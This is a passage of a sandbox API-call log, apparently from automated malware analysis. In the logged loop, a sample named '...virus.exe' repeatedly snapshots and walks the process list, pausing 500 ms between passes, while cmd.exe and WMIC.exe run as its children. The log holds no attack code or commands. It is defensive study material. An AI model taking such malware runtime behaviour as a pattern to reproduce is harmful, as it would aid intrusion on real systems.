cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0270.889] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0270.889] CloseHandle (hObject=0x178) returned 1 [0270.890] Sleep (dwMilliseconds=0x1f4) [0271.499] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0271.501] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.501] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.502] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.502] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.503] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.503] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.504] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.504] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.504] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.505] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.506] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.506] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.507] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.507] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.507] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.508] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.508] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.509] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.509] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.510] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.510] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.511] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.511] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.511] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0271.512] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0271.512] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0271.513] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0271.513] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0271.514] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.514] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.515] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0271.515] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0271.516] CloseHandle (hObject=0x1b4) returned 1 [0271.516] Sleep (dwMilliseconds=0x1f4) [0272.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0272.055] Process32FirstW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.056] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.056] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.057] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.058] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.058] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.059] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.059] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.060] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.060] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.061] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.061] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.062] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.062] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.063] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.063] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.064] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.064] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.064] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.065] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.065] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.066] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.066] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.067] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0272.067] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0272.068] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0272.068] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0272.069] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0272.069] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.070] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.070] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0272.070] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0272.071] CloseHandle (hObject=0x1cc) returned 1 [0272.071] Sleep (dwMilliseconds=0x1f4) [0272.651] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0272.653] Process32FirstW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.653] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.654] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.654] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.654] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.655] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.655] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.656] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.656] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.656] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.657] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.657] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.657] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.658] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.658] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.658] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, 